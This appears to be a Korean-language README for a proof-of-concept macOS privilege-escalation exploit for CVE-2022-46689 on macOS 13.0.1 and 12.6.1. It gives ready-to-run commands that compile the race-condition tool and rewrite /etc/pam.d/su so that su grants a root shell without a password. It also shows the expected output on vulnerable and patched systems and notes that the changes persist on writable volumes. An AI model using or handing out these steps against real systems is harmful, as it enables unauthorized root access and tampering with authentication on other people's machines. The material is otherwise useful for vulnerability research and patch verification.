
Apple의 XNU 소스에서 추출한 테스트케이스를 사용하여 macOS 13.0.1에서 CVE-2022-46689(Dirty Cow 버그의 macOS 버전)로 루트 권한을 획득합니다.
Apple의 XNU 소스에서 추출한 테스트 케이스를 사용하여 CVE-2022-46689(Dirty Cow 버그의 macOS 버전)로 macOS 13.0.1에서 루트 권한을 획득하세요.
https://worthdoingbadly.com/macdirtycow/
macOS 13.0.1 / 12.6.1(또는 이하) 기기에서 다음을 실행하세요:
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
다음과 같은 결과가 표시됩니다:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
SIP를 끈 상태의 macOS 13 베타(22A5266r)에서 테스트했습니다(SIP가 켜져 있어도 작동합니다).
시스템이 완전히 패치된 경우(macOS 13.1 / 12.6.2)에는 대신 다음과 같이 표시됩니다:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
그리고 su를 실행하면 여전히 비밀번호를 묻습니다.
Sealed System Volume 덕분에 /System 볼륨의 모든 파일에 대해 이 도구를 실행하면 파일이 일시적으로만 수정됩니다. 재부팅하면 원래대로 복원됩니다. 쓰기 가능한 볼륨의 파일에 실행하면 재부팅 후에도 수정 사항이 유지됩니다.
/etc/pam.d를 사용하여 비밀번호 확인을 비활성화하는 트릭을 제공한 SSLab@Gatech.